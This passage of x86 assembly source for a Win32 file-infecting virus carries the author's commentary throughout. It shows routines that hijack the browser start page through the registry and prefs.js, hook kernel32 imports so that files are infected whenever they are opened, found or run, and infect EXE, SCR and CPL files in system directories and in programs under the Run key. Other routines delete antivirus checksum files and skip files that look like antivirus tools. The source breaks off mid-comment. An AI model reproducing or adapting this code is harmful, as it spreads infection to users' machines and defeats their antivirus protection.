RVA_RegOpenKeyExA       dd      0
RVA_RegCloseKey         dd      0
RVA_RegSetValueExA      dd      0
RVA_RegEnumKeyA         dd      0
RVA_RegQueryValueExA    dd      0
RVA_RegEnumValueA       dd      0

;; This function modifies the start page of Internet Explorer. The easiest
;; one, not as much as complicated to get as the Netscape one.
ModifyInternetExplorer proc
                lea     eax, [ebp+HandleOpenedKey]
                push    eax
                push    KEY_ALL_ACCESS
                push    0
                lea     eax, [ebp+IExplorerKey]
                push    eax
                push    HKEY_CURRENT_USER
                call    dword ptr [ebp+RVA_RegOpenKeyExA]
        ; This just opened:
        ; HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
                or      eax, eax  ; Error?
                jnz   @@End       ; End if error

                push    LongNombrePagina  ; Store the size of the new value
                lea     eax, [ebp+Pagina] ; Store the address
                push    eax
                push    1                 ; Some necessary values
                push    0
                lea     eax, [ebp+IExplorerValue] ; Store the address of the
                push    eax                       ; value
                push    dword ptr [ebp+HandleOpenedKey] ; Now the handle...
                call    dword ptr [ebp+RVA_RegSetValueExA] ; ...and change it
                ; If error, we close. If not, we close :)

                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegCloseKey] ; Close key handle
       @@End:   ret
ModifyInternetExplorer endp

;; This is the page to set
Pagina          db      'http://www.thehungersite.com',0
                LongNombrePagina equ   $ - offset Pagina

;; This is the path into the registry to set the page to. I don't think this
;; key will change in the future, since many programs use it to set its own
;; start page.
IExplorerKey    db      'Software\Microsoft\Internet Explorer\Main',0
IExplorerValue  db      'Start Page',0

;; The difficult one. Well, it's not difficult when you see it made, but it's
;; complicated to get. Since there isn't any registry key to set the start
;; page, I had to search the autoconfig (PREFS.JS) and invent a manner of
;; modifying it without many problems. I tried to map that file and move the
;; whole text after the java function that sets the start page, to make a hole
;; big enough to set the function (if the old start page were bigger, you can
;; fill with spaces), but that was a pain in the ass. Then, after a good men-
;; tal exercise :), I tried the trick I use now. Since the file is a java file
;; setting values, if you add a line at the end setting a new value, you over-
;; write the last value. It's like doing MOV AX,1234 and later MOV AX,2345 (or
;; the C equivalent).
ModifyNetscapeNavigator proc
      ; This variable is used for RegEnumKeyA
                mov     dword ptr [ebp+SubkeyIndex], 0
     @@LoopOpeningSubkeys:
                mov     byte ptr [ebp+NetscapeKeyEnd-1], 0 ; Put this to 0
                lea     eax, [ebp+HandleOpenedKey]
                push    eax
                push    KEY_ALL_ACCESS
                push    0
                lea     eax, [ebp+NetscapeKey]
                push    eax
                push    HKEY_LOCAL_MACHINE
                call    dword ptr [ebp+RVA_RegOpenKeyExA]
        ; Here, we opened the key:
        ; HKEY_LOCAL_MACHINE\Software\Netscape\Netscape Navigator\Users'

                or      eax, eax    ; Error?
                jnz   @@End         ; Exit, then

        ; We get the subkeys in the recently opened key. That are the users
        ; registered on the Netscape Navigator. It's like making FindFirstFile
        ; and FindNextFile in a directory, but easier, since we use an index
        ; to get the relative key.
                push    80h
                lea     eax, [ebp+ReceivingBuffer]
                push    eax
                push    dword ptr [ebp+SubkeyIndex]
                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegEnumKeyA]
                or      eax, eax   ; Error getting subkey?
                jnz   @@EndOfKeys  ; If error, exit

                mov     byte ptr [ebp+NetscapeKeyEnd-1], '\' ; Put this there
                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegCloseKey] ; Close key (I know
                                            ; that maybe is a foolness, but
                                            ; I did it by a reason. I don't
                                            ; remember it, but there is a
                                            ; reason :).
                lea     eax, [ebp+HandleOpenedKey]
                push    eax
                push    KEY_ALL_ACCESS
                push    0
                lea     eax, [ebp+NetscapeKey]
                push    eax
                push    HKEY_LOCAL_MACHINE
                call    dword ptr [ebp+RVA_RegOpenKeyExA] ; Open the retrieved
                or      eax, eax                          ; subkey
                jnz   @@End

                mov     dword ptr [ebp+LongBuffer], 80h
                lea     eax, [ebp+LongBuffer]
                push    eax
                lea     eax, [ebp+ReceivingBuffer]
                push    eax
                push    0
                push    0
                lea     eax, [ebp+NetscapeValue]
                push    eax
                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegQueryValueExA]
         ; Now we get the value of "DirRoot", where the directory of this user
         ; is specified.
                or      eax, eax  ; Error?
                jnz   @@EndOfKeys ; Exit, then

                call    ModifyPrefs  ; Add the "magic" line to PREFS.JS

                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegCloseKey] ; Close the key
                inc     dword ptr [ebp+SubkeyIndex] ; Increase number for
                                                    ; enumerating function
                jmp   @@LoopOpeningSubkeys     ; Loop

 @@EndOfKeys:   push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegCloseKey] ; Close Netscape key
       @@End:   ret           ; Return
ModifyNetscapeNavigator endp

SubkeyIndex     dd      0
LongBuffer      dd      0
LongBuffer2     dd      0

LineToAddToPrefs db     'user_pref("browser.startup.homepage", "http://www.thehungersite.com");',0dh,0ah
                SizeLineToAdd   equ     $ - offset LineToAddToPrefs

NetscapePrefsFile db    '\prefs.js',0
                SizeNamePrefs   equ     $ - offset NetscapePrefsFile

NetscapeKey     db      'Software\Netscape\Netscape Navigator\Users\'
NetscapeKeyEnd  label   byte
ReceivingBuffer db      80h dup (0)
NetscapeValue   db      'DirRoot',0

;; This function adds the line
;; user_pref("browser.startup.homepage", "http://www.thehungersite.com");
;; to PREFS.JS. In this way, the next time Netscape Navigator is runned, the
;; start page will be set to http://www.thehungersite.com
ModifyPrefs     proc
                mov     ecx, dword ptr [ebp+LongBuffer]
                lea     edi, [ebp+ReceivingBuffer]
                dec     ecx
                add     edi, ecx
                lea     esi, [ebp+NetscapePrefsFile]
                mov     ecx, SizeNamePrefs
                cld
                rep     movsb ; Create a full path to PREFS.JS

                push    0
                push    0
                push    3
                push    0
                push    0
                push    0c0000000h
                lea     eax, [ebp+ReceivingBuffer]
                push    eax
                call    dword ptr [ebp+RVA_CreateFileA] ; Open PREFS.JS
                inc     eax
                jz    @@End   ; If error, exit
                dec     eax
                mov     [ebp+FileHandle], eax
                push    2 ;Relative pointer position (same as INT 21h/AH=42h!)
                push    0
                push    0
                push    eax
                call    dword ptr [ebp+RVA_SetFilePointer] ; Put the file
                                                        ; pointer at the end
                inc     eax
                jz    @@Close     ; If error, exit
                dec     eax
                push    0
                lea     eax, [ebp+LongBuffer]
                push    eax
                push    SizeLineToAdd
                lea     eax, [ebp+LineToAddToPrefs]
                push    eax
                push    dword ptr [ebp+FileHandle]
                call    dword ptr [ebp+RVA_WriteFile] ; Write the line at the
                                                      ; end of the file
     @@Close:   push    dword ptr [ebp+FileHandle]
                call    dword ptr [ebp+RVA_CloseHandle] ; Close file hangle
       @@End:   ret         ; Return
ModifyPrefs     endp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; PER-PROCESS RESIDENCY: SETTING AND INFECTION
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

ImageBase       dd      400000h

PatchImportDirectory proc
                db      0B8h ; MOV EAX,xxxxxxxx
ImageBase2      dd      400000h   ; Image base, set on infection time
                mov     ebx, [eax+3Ch]
                add     ebx, eax
                cmp     word ptr [ebx], 'EP' ; Check if PE header
                jnz   @@End                  ; If not, end
                mov     ecx, [ebx+84h] ; ECX=Size of import data
                mov     ebx, [ebx+80h]
                add     ebx, eax       ; EBX=RVA of import directory header
@@SearchModule: mov     esi, [ebx+0Ch]
                or      esi, esi
                jz    @@End
                add     esi, eax       ; ESI=RVA to the module name
 @@ToLowerCase: mov     edx, [esi]     ; Get the first four characters
                call    ToLower
                cmp     edx, 'nrek'    ; Is it 'kern'?
                jnz   @@NextModule     ; If not, it's not kernel32
                mov     edx, [esi+4]   ; Get next 4 chars
                call    ToLower
                cmp     edx, '23le'    ; 'el32'?
                jz    @@Found          ; If it is, we've found KERNEL32
 @@NextModule:  add     ebx, 14h       ; Next module in import directory
                sub     ecx, 14h       ; Have we finished?
                jnz   @@SearchModule   ; If not, scan next module
                jmp   @@End            ; Finish if we arrived to the end

      @@Found:  mov     esi, [ebx+10h] ; Get the RVA to the array of imported
                add     esi, eax       ; functions in ESI
                cld
                
                lea     ebx, [ebp+FunctionsToPatch]
  @@Loop_001:   mov     edi, ebx
                lodsd                  ; Load RVA to function
                or      eax, eax       ; If 0, error, so exit
                jz    @@End
                mov     ecx, 10h       ; Check that address with the ones got
                repnz   scasd          ; directly from KERNEL32
                jnz   @@Loop_001
                or      ecx, ecx
                jnz   @@Next
                lea     eax, [esi-4]
                mov     [ebp+ExitProcessInImport], eax
              ;  jmp   @@Loop_001
       @@Next:  sub     edi, ebx       ; If someone coincides, patch it with
                mov     eax, [ebp+edi+FunctionsAddress-4] ; ours
                add     eax, ebp

                pushad
                mov     dword ptr [ebp+DwordToWrite], eax
                push    0
                push    4
                lea     eax, [ebp+DwordToWrite]
                push    eax
                lea     eax, [esi-4]
                push    eax
                call    dword ptr [ebp+RVA_GetCurrentProcess]
                push    eax
                call    dword ptr [ebp+RVA_WriteProcessMemory]
              ;  mov     [esi-4], eax
                jmp   @@Loop_001       ; Next function in the import array
       @@End:   ret
PatchImportDirectory endp

DwordToWrite    dd      0

FunctionsAddress label  dword
dd      offset My_GetProcAddress       ; This ones are the addresses to the
dd      offset My_CreateFileA          ; per-process functions. This addresses
dd      offset My_CreateProcessA       ; plus the delta offset are stored into
dd      offset My_FindFirstFileA       ; the array of imported functions to
dd      offset My_FindNextFileA        ; patch them, so if the host call any
dd      offset My_GetFileAttributesA   ; of this functions the virus takes
dd      offset My_SetFileAttributesA   ; the control and performs the infec-
dd      offset My_GetFullPathNameA     ; tion activities.
dd      offset My_MoveFileA
dd      offset My_CopyFileA
dd      offset My_DeleteFileA
dd      offset My_WinExec
dd      offset My__lopen
dd      offset My_MoveFileExA
dd      offset My_OpenFile
dd      offset My_ExitProcess

;,,,,,,,,,,,,,,,,,,,,,,,,,
;; PER-PROCESS FUNCTIONS ;
;'''''''''''''''''''''''''
GetDelta        proc
                mov     eax, 12345678h ; This is set on run-time, at the
                org     $-4            ; beginning. It's shorter than making
DeltaOffset2    dd      0              ; a CALL/POP/SUB in every function
                ret
GetDelta        endp


; GetProcAddress: Patching this we ensure that the host receives our function
;                 address rather than the KERNEL32 one. In this way, if
;                 GetProcAddress is used over one of the patched functions to
;                 call that address directly, it'll call our function first.
My_GetProcAddress       proc
                        call    GetDelta ; EAX=Delta offset
                        push    ecx      ; Save ECX
                        add     eax, offset @@ReturnHere ; Calculate return
                                                         ; address
                        mov     ecx, eax ; Put it on ECX...
                        xchg    eax, [esp+4] ; ...and substitute the return
                                             ; into the stack by ours.
                        mov     [ecx+1], eax ; Save the real return address
                                             ; in [ReturnGetProcAddress]
                        pop     ecx       ; Restore ECX
                        call    GetDelta  ; Get delta in EAX...
                        mov     eax, [eax+RVA_GetProcAddress] ; and jump to
                        jmp     eax           ; GetProcAddress, but return...
                                         ; ...here!
        @@ReturnHere:   db      68h
ReturnGetProcAddress    dd      0        ; Push return to host (set before)
                        or      eax, eax ; EAX=0?
                        jz    @@Return   ; Error, so return
                        pushad           ; Save all
                        push    eax      ; Save function address
                        call    GetDelta
                        xchg    ebp, eax ; EBP=Delta offset
                        pop     eax      ; Restore function address
                        lea     esi, [ebp+RVA_GetProcAddress]
                                              ; ESI=Begin address of functions
                        lea     edi, [ebp+RVA_GetProcAddress+10h*4]
                                              ; EDI=End address of functions          
                        mov     ebx, esi
                        xchg    ecx, eax
           @@Loop_GPA:  lodsd            ; Load first RVA
                        cmp     eax, ecx ; Compare the kernel returned RVA
                                         ; with the RVA that we got scanning
                                         ; the kernel at first
                        jnz   @@Next_GPA ; If it isn't equal, jump
                        sub     esi, ebx ; Put in ESI the address of the per-
                        add     esi, ebp ; process function
                        mov     eax, [esi+FunctionsAddress+4] ; Load it
                        mov     [esp+1Ch], eax ; Substitute RVA to function
                                               ; by our function address
                        jmp   @@Return2  ; End
           @@Next_GPA:  cmp     esi, edi ; Already at the end of the array?
                        jnz   @@Loop_GPA ; If not, loop
            @@Return2:  popad            ; Restore registers
            @@Return:   ret ;Return to host with the substituted RVA (if done)
My_GetProcAddress       endp

;; CreateFileA: Infection on opening
My_CreateFileA          proc
                        call    GetDelta  ; EAX=Delta offset
                        mov     eax, [eax+RVA_CreateFileA] ; EAX=RVA to func.
                    ;    jmp     InfectByPerProcess    ; Jump to common part
My_CreateFileA          endp

InfectByPerProcess      proc
                        push    eax      ; Save RVA to function
                        pushad
                        call    GetDelta
                        xchg    ebp, eax ; EBP=Delta offset
                        mov     ebx, [esp+28h] ; EBX=RVA to the name of the
                                               ; file to operate
InfectThisPath:         lea     eax, [ebp+FindFileField] ; EAX=RVA to data
                                                         ; storage
                        push    eax   ; Store it to use FindFirstFile
                        push    ebx   ; Store the RVA to the name of the file
                        call    dword ptr [ebp+RVA_FindFirstFileA] ; Find it
                        inc     eax
                        jz    @@Return ; If error (not found), return
                        dec     eax
                        mov     esi, ebx
                        lea     edi, [ebp+FileName]
                        cld
                 @@LoopCopy:
                        movsb
                        cmp     byte ptr [edi-1], 0
                        jnz   @@LoopCopy

                        push    eax    ; Save handle
                        call    InfectFile  ; Infect that file using the data
                                            ; in FindFileField
                        call    dword ptr [ebp+RVA_FindClose] ; Close the
                                                              ; pushed handle
         @@Return:      popad    ; Restore regs
                        ret      ; Jump to kernel function
InfectByPerProcess      endp

InfectDirectly          proc
                        pushad
                        jmp     InfectThisPath
InfectDirectly          endp

;; CreateProcessA: Infection on execution
My_CreateProcessA       proc
                        call    GetDelta 
                        mov     eax, [eax+RVA_CreateProcessA]
                        jmp     InfectByPerProcess
My_CreateProcessA       endp             ; EAX=RVA to Kernel32.CreateProcessA

FindFirstIdent  db      0 ; This is used to identify FindFirstFileA or
                          ; FindNextFileA

; FindNextFileA: Infection by file enumeration
My_FindNextFileA        proc
                        call    GetDelta  ; EAX=Delta offset
                        mov     byte ptr [eax+FindFirstIdent], 0
                        jmp     Common_FindFile 
My_FindNextFileA        endp

My_FindFirstFileA       proc
                        call    GetDelta  ; EAX=Delta offset
                        mov     byte ptr [eax+FindFirstIdent], 1
       Common_FindFile: add     eax, offset @@ReturnHere ; EAX=Return address
                                          ; for calling the KERNEL32 function
                                          ; and returning here and not to the
                                          ; host
                        push    ecx       ; Save ECX
                        mov     ecx, eax      ; ECX=Return address
                        xchg    eax, [esp+4]  ; Set it onto stack and EAX is
                                              ; now the return address to the
                                              ; host
                        mov     [ecx+1], eax  ; Save it in @@ReturnHere+1
                        mov     eax, [esp+0Ch] ; We put the buffer address...
                        mov     [ecx+0Dh], eax ; ...here
                        pop     ecx      ; We restore ECX
                        call    GetDelta ; EAX = Delta offset
                        cmp     byte ptr [eax+FindFirstIdent], 1
                        jz    @@PutFindFirst   ; If =1, call to FindFirstFileA
       @@PutFindNext:   mov     eax, [eax+RVA_FindNextFileA]
                        jmp     eax   ; Call FindNextFileA
       @@PutFindFirst:  mov     eax, [eax+RVA_FindFirstFileA]
                        jmp     eax   ; Call FindFirstFileA
        @@ReturnHere:   db      68h ; PUSH Value
                        dd      0        ; +1
                        pushad           ; +5  ; Save registers
                        inc     eax      ; +6  ; Error?
                        jnz   @@ItsOK    ; +7  ; If not, jump
                        dec     eax      ; +9  ; Restore EAX
                        jmp   @@Return   ; +A  ; Return to host
          @@ItsOK:      db      0BEh ; MOV ESI,Value   ; +C ; ESI=Address to
          @@ESIValue:   dd      0                      ; +D ;     data field
                        call    GetDelta
                        xchg    ebp, eax ; EBP=Delta offset
                        lea     edi, [ebp+FindFileField] ; EDI=Our data field
                        mov     ecx, FindFileFieldSize ; Copy the data retrie-
                        cld                      ; ved by the function to our
                        rep     movsb            ; data field
                        dec     byte ptr [ebp+InfectFileNow] ; Decrease infec-
                                                        ; tion counter
                        jnz   @@Return           ; If it's not 0, don't infect
                        mov     byte ptr [ebp+InfectFileNow], 3 ; Set this to
                                                 ; 3, to infect only one of
                                                 ; every three files listed by
                                                 ; this function
                        call    InfectFile    ; Infect file
              @@Return: popad
                        ret             ; Restore regs and return
My_FindFirstFileA       endp

InfectFileNow   db      3  ; Infection counter

; GetFileAttributesA: Infection by getting attributes
My_GetFileAttributesA   proc
                        call    GetDelta
                        mov     eax, [eax+RVA_GetFileAttributesA]
                        jmp     InfectByPerProcess
My_GetFileAttributesA   endp         ; EAX=RVA to Kernel32.GetFileAttributesA

; SetFileAttributesA: Infection by setting attributes
My_SetFileAttributesA   proc
                        call    GetDelta
                        mov     eax, [eax+RVA_SetFileAttributesA]
                        jmp     InfectByPerProcess
My_SetFileAttributesA   endp         ; EAX=RVA to Kernel32.SetFileAttributesA

; GetFullPathNameA: Infection by getting the full path name of a file
My_GetFullPathNameA     proc
                        call    GetDelta
                        mov     eax, [eax+RVA_GetFullPathNameA]
                        jmp     InfectByPerProcess
My_GetFullPathNameA     endp         ; EAX=RVA to Kernel32.GetFullPathNameA

; MoveFileA: Infection by moving a file
My_MoveFileA            proc
                        call    GetDelta
                        mov     eax, [eax+RVA_MoveFileA]
                        jmp     InfectByPerProcess
My_MoveFileA            endp         ; EAX=RVA to Kernel32.MoveFileA

; CopyFileA: Infection by copying a file
My_CopyFileA            proc
                        call    GetDelta
                        mov     eax, [eax+RVA_CopyFileA]
                        jmp     InfectByPerProcess
My_CopyFileA            endp         ; EAX=RVA to Kernel32.CopyFileA

; DeleteFileA: Infection by deleting a file.
; Although it could seem stupid, remember the Recycle Bin!
My_DeleteFileA          proc
                        call    GetDelta
                        mov     eax, [eax+RVA_DeleteFileA]
                        jmp     InfectByPerProcess
My_DeleteFileA          endp         ; EAX=RVA to Kernel32.DeleteFileA

; WinExec: Infection by execution (old Win32, for compatibility with Win16)
My_WinExec              proc
                        call    GetDelta
                        mov     eax, [eax+RVA_WinExec]
                        jmp     InfectByPerProcess
My_WinExec              endp         ; EAX=RVA to Kernel32.WinExec

; _lopen: Infection by opening (old Win32, for compatibility with Win16)
My__lopen               proc
                        call    GetDelta
                        mov     eax, [eax+RVA__lopen]
                        jmp     InfectByPerProcess
My__lopen               endp         ; EAX=RVA to Kernel32._lopen

; MoveFileExA: Infection by moving (extended, but the same as MoveFileA)
My_MoveFileExA          proc
                        call    GetDelta
                        mov     eax, [eax+RVA_MoveFileExA]
                        jmp     InfectByPerProcess
My_MoveFileExA          endp         ; EAX=RVA to Kernel32.MoveFileExA

; OpenFile: Infection by opening (old Win32, earlier than CreateFileA)
My_OpenFile             proc
                        call    GetDelta
                        mov     eax, [eax+RVA_OpenFile]
                        jmp     InfectByPerProcess
My_OpenFile             endp         ; EAX=RVA to Kernel32.OpenFile

My_ExitProcess          proc     ; Patch ExitProcess just in case the applica-
                        jmp     LastFunction ; tion calls it without making an
My_ExitProcess          endp                ; explicit call (and thus it can't
                                            ; be patched)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; RUN-TIME INFECTION
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This will infect one file of each four in the current, windows and system
;; directory (as always). If the files AVP.CRC, ANTI-VIR.DAT, CHKLIST.MS or
;; IVB.NTZ are found, they'll be deleted. 
RuntimeInfection proc
                call    LoadSFCFunctions ; Load SFC.DLL library
                call    LoadIMAGEHLPFunctions ; Load IMAGEHLP.DLL library

                call    LoadRegistryFunctions
                or      eax, eax
                jz    @@NoRegistry

                ;;; Infectar directamente varios paths
                ;;; de programas instalados
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\
; \WinZip
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
                mov     dword ptr [ebp+SubkeyIndex], 0

                mov     byte ptr [ebp+RunKeyEnd-1], 0
                lea     eax, [ebp+HandleOpenedKey]
                push    eax
                push    KEY_ALL_ACCESS
                push    0
                lea     eax, [ebp+RunKey]
                push    eax
                push    HKEY_LOCAL_MACHINE
                call    dword ptr [ebp+RVA_RegOpenKeyExA]
                or      eax, eax
                jnz   @@EndOfKeys
      @@LoopSubkeys:
                lea     eax, [ebp+LongBuffer]
                mov     dword ptr [eax], 80h
                push    eax
                lea     eax, [ebp+Directory2]
                push    eax
                push    0
                push    0
                lea     eax, [ebp+LongBuffer2]
                mov     dword ptr [eax], 80h
                push    eax
                lea     eax, [ebp+Directory1]
                push    eax
                push    dword ptr [ebp+SubkeyIndex]
                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegEnumValueA]
                or      eax, eax  ; Error?
                jnz   @@EndOfKeys ; Exit, then

                lea     esi, [ebp+Directory2]
                mov     ecx, 80h
          @@LoopSearchExtension:
                cmp     byte ptr [esi], 0
                jz    @@NextSubkey
                dec     ecx
                jz    @@NextSubkey
                inc     esi
                mov     edx, [esi]
                call    ToLower
                cmp     edx, 'exe.'
                jnz   @@LoopSearchExtension
                cmp     byte ptr [esi+4], 0
                jz    @@NameOK
                cmp     byte ptr [esi+4], 20h
                jnz   @@LoopSearchExtension
                mov     byte ptr [esi+4], 0
          @@NameOK:
                lea     ebx, [ebp+Directory2]
                call    InfectDirectly

       @@NextSubkey:               
                inc     dword ptr [ebp+SubkeyIndex]
                jmp   @@LoopSubkeys

    @@EndOfKeys2:
                push    dword ptr [ebp+HandleOpenedKey]
                call    dword ptr [ebp+RVA_RegCloseKey]
    @@EndOfKeys:
                push    dword ptr [ebp+HandleADVAPI32]
                call    dword ptr [ebp+RVA_FreeLibrary]

     @@NoRegistry:
                call    InfectCurrentDir ; Self-explanatory ;)
                lea     eax, [ebp+Directory2]
                push    eax
                push    80h
                call    dword ptr [ebp+RVA_GetCurrentDirectoryA] ; Save the
                                         ; current directory
                call    InfectWindowsDir ; Infect the Win dir
                call    InfectSystemDir  ; Infect windows\system dir
                lea     eax, [ebp+Directory2] ; Restore the current dir
                push    eax
                call    dword ptr [ebp+RVA_SetCurrentDirectoryA]
                cmp     dword ptr [ebp+HandleSFC], 0
                jz    @@Next1
                push    dword ptr [ebp+HandleSFC]
                call    dword ptr [ebp+RVA_FreeLibrary]
         @@Next1:
                cmp     dword ptr [ebp+HandleIMAGEHLP], 0
                jz    @@Next2
                push    dword ptr [ebp+HandleIMAGEHLP]
                call    dword ptr [ebp+RVA_FreeLibrary]
         @@Next2:
                xor     eax, eax
                mov     dword ptr [ebp+HandleSFC], eax
                mov     dword ptr [ebp+HandleIMAGEHLP], eax
                mov     dword ptr [ebp+RVA_CheckSumMappedFile], eax
                mov     dword ptr [ebp+RVA_SfcIsFileProtected], eax
                ret                      ; Return
RuntimeInfection endp

RunKey          db      'Software\Microsoft\Windows\CurrentVersion\Run\'
RunKeyEnd       label byte
Directory1      db      80h dup (0)  ; Place to get the windows, etc. dirs
Directory2      db      80h dup (0)  ; Place to save the current directory

LoadRegistryFunctions proc
                lea     eax, [ebp+RegistryDLL]
                push    eax
                call    dword ptr [ebp+RVA_LoadLibraryA]
                or      eax, eax        ; Error?
                jz    @@Return          ; Exit, then
                mov     [ebp+HandleADVAPI32], eax  ; Save handle
                lea     esi, [ebp+ASC_RegistryFunctions] ; Names of functions
                lea     edi, [ebp+RVA_RegistryFunctions] ; Storage of RVAs
    @@NextRVA:  push    esi
                push    edi
                push    esi
                push    dword ptr [ebp+HandleADVAPI32]
                call    dword ptr [ebp+RVA_GetProcAddress] ; Get the address
                or      eax, eax              ; Error?
                jz    @@Return                ; Exit, then
                pop     edi
                pop     esi
                mov     dword ptr [edi], eax  ; Save RVA
                add     edi, 4
    @@LoopNextFunc:
                inc     esi                ; Next char
                cmp     byte ptr [esi], 0  ; End of name?
                jnz   @@LoopNextFunc       ; If not, continue increasing
                inc     esi                ; Jump over the 0
                cmp     byte ptr [esi], 0  ; Another 0?
                jnz   @@NextRVA            ; If not, continue getting names
                mov     eax, 1
    @@Return:   ret
LoadRegistryFunctions endp

InfectSystemDir proc
                mov     ebx, [ebp+RVA_GetSystemDirectoryA]
Common_InfectDir:                       ; EBX=RVA of GetSystemDirectory
                push    80h
                lea     eax, [ebp+Directory1]
                push    eax
                call    ebx     ; GetSystemDirectory or GetWindowsDirectory
                or      eax, eax ; If error, end
                jz    @@Return
                call    SetDirectory1 ; Set that directory
                call    InfectCurrentDir ; Infect the directory files
@@Return:       ret             ; Return
InfectSystemDir endp

InfectWindowsDir proc
                mov     ebx, [ebp+RVA_GetWindowsDirectoryA]
                jmp     Common_InfectDir  ; EBX=RVA of GetWindowsDirectory
InfectWindowsDir endp                     ; Jump to the common part of this
                                          ; function and the InfectSystemDir
                
SetDirectory1   proc
                lea     eax, [ebp+Directory1] ; Set the directory on this
                push    eax                   ; address (windows or system)
                call    dword ptr [ebp+RVA_SetCurrentDirectoryA]
                ret     ; Return
SetDirectory1   endp

InfectCurrentDir proc
                call    DeleteDATs     ; Delete some antivirus CRC protections
                lea     ecx, [ebp+FindFileMask1] ; ECX=RVA to *.EXE
                call    InfectCurrentDir2        ; Infect EXEs
                lea     ecx, [ebp+FindFileMask2] ; ECX=RVA to *.SCR
                call    InfectCurrentDir2        ; Infect SCRs
                lea     ecx, [ebp+FindFileMask3] ; ECX=RVA to *.CPL
                call    InfectCurrentDir2        ; Infect CPLs
                ret                    ; Return
InfectCurrentDir endp

InfectCurrentDir2 proc
                call    Random      ; Get a random counter to begin infection
                and     al, 3
                mov     [ebp+FileInfectionCounter], al
                lea     ebx, [ebp+FindFileField]
                push    ebx
                push    ecx
                call    dword ptr [ebp+RVA_FindFirstFileA] ; Find first file
                inc     eax         ; Error?
                jz    @@Fin0        ; Then, jump
                dec     eax
                mov     dword ptr [ebp+FindFileHandle], eax ; Save handle
@@InfectAgain:  cmp     byte ptr [ebp+InfectAllFiles], 1 ;For infect all files
                jz    @@InfectAll                ; instead of one of each four
                dec     byte ptr [ebp+FileInfectionCounter] ; Counter in -1?
                jns   @@DontInfect   ; If not, don't infect
                mov     byte ptr [ebp+FileInfectionCounter], 3 ;Set count to 3
@@InfectAll:    call    InfectFile   ; Infect the found file
@@DontInfect:   lea     ebx, [ebp+FindFileField] ; Get next file
                push    ebx
                push    dword ptr [ebp+FindFileHandle]
                call    dword ptr [ebp+RVA_FindNextFileA]
                or      eax, eax         ; If no error or more files, jump and
                jnz   @@InfectAgain      ; continue infection
                push    dword ptr [ebp+FindFileHandle] ; Close handle
                call    dword ptr [ebp+RVA_FindClose]
     @@Fin0:    ret             ; Return
InfectCurrentDir2 endp

FindFileHandle  dd      0
FileInfectionCounter db 0

;; InfectFile
;;------------
;; This function uses the data in FindFileField to infect the file that repre-
;; sents, so that's why in some parts of the virus I copy the data about the
;; file in that field before calling this.
InfectFile      proc
                cmp     dword ptr [ebp+FileSizeLow], 00002004h
                jb    @@End
                lea     ebx, [ebp+FileName] ; EBX=RVA to the file name
         ; This function checks if the file name begins with TB (ThunderByte),
         ; SC (Scan and similars, usually McCaf‚), F- (F-Potatoe), PA (Panda
         ; Antivirus), DR (DrWeb) or NO (Nod-Ice), or it has a V in its name
         ; (many antivirus programs have it: AVP, INVIRCIBLE, CPAV, etc.)
                call    CheckFileName
                jc    @@End  ; Carry Flag means that is a "forbidden" name,
                             ; so we exit if CF is set
                cmp     dword ptr [ebp+RVA_SfcIsFileProtected], 0 ; Could be
                                                            ; SFC.DLL loaded?
                jz    @@NoWin2000       ; If not, we're not in Win2000
                push    ebx
                push    0               ; Check file against Win2K protection
                call    dword ptr [ebp+RVA_SfcIsFileProtected]
                or      eax, eax        ; If 0, it isn't protected
                jnz   @@End       ; If not 0, it's protected, so don't infect
      @@NoWin2000:
                push    80h       ; Clear file attributes (remove a posible
                lea     ebx, [ebp+FileName]  ; read-only attribute). I haven't
                push    ebx       ; to save the old attributes coz they are
                call    dword ptr [ebp+RVA_SetFileAttributesA] ; saved in the
                                                    ; FindFileField structure
                call    OpenFile  ; Open file
                jc    @@End2      ; CF=We couldn't, so exit
                call    SaveDateTime ;Save date and time stamp. It's saved in
                                     ;the FindFileField structure, but I dunno
                                     ;why when I used that data the timestamp
                                     ;weren't restored correctly, and it was
                                     ;when I used this, so I use it.
                call    MapFile   ; Open a mapping over the file
                jc    @@End3      ; If we couldn't, exit
                     ; After this, the mapping address is stored in EAX and
                     ; [MappingAddress]
                mov     edi, eax  ; EDI=Mapping address
                cmp     word ptr [edi], 'ZM' ; Has the file executable struct?
                jnz   @@End4                 ; If not, exit
                mov     esi, [edi+3Ch]       ; Get PE header address
                cmp     esi, 2000h
                ja    @@End4        ; Maybe compressed DOS-EXE
                add     esi, edi
                cmp     word ptr [esi], 'EP' ; Is there a PE header?
                jnz   @@End4                 ; If not, exit

;; ESI=PE header address, EDI=Mapping address (beginning of file)

;; The way we infect the files:
;; 0) We check the last section. If it is .rsrc, then the file can be infec-
;;   ted. Otherwise, that last section must be .reloc, to be anulated. If that
;;   section isn't the .reloc section, the file can't be infected, since it
;;   could be infected already.
;; 1) The section .reloc (if exists) is anulated.
;; 2) If there isn't any reloc section, we create a new section if the PE
;;   header has enough empty space to do it. If not, we end infection. When
;;   we create that section, we set it as if it were an anulated .reloc.
;; 2) We check if the last is quite big to contain the virus. If not, we make
;;   it bigger.
;; 4) We copy the virus to the last and we change the name of the section by
;;   another randomly generated
;; 3) We copy from .text to the end of the last section (after the virus) the
;;   portion of code that is going to be overwritten. Both virus and this data
